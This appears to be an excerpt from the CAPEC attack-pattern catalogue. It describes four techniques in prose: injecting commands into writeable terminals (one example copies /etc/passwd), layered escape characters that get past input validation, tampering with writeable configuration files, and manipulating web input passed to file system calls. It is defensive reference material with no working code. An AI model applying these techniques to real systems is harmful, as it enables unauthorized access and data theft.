CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.